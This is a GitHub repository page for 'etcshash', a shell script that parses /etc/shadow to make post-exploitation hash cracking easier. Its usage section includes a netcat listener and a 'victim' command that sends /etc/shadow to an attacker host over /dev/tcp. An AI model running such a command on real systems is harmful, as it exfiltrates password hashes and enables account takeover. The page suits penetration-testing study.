Skip to content

lucascherzer/etcshash

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

17 Commits
 
 
 
 
 
 

Repository files navigation

etcshash

A shell script to parse the /etc/shadow file and automatically display the relevant information

This script aims to make post exploitation easier by parsing the /etc/shadow file and outputting the information in a concise way that makes steps like hash cracking easier

Usage

Currently, the script only supports reading from stdin:

cat /etc/shadow | ./etcsha.sh

or output every field of the /etc/shadow file with the -a flag

cat /etc/shadow | ./etcsha.sh -a

as it reads from stdin it can also receive files sent e.g. from netcat:

# attacker machine:
nc -lvnp 1234 | ./etcsha.sh

# victim:
cat /etc/shadow > /dev/tcp/$ATTACKER/1234

About

Parse /etc/shadow and output info on the hashes

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages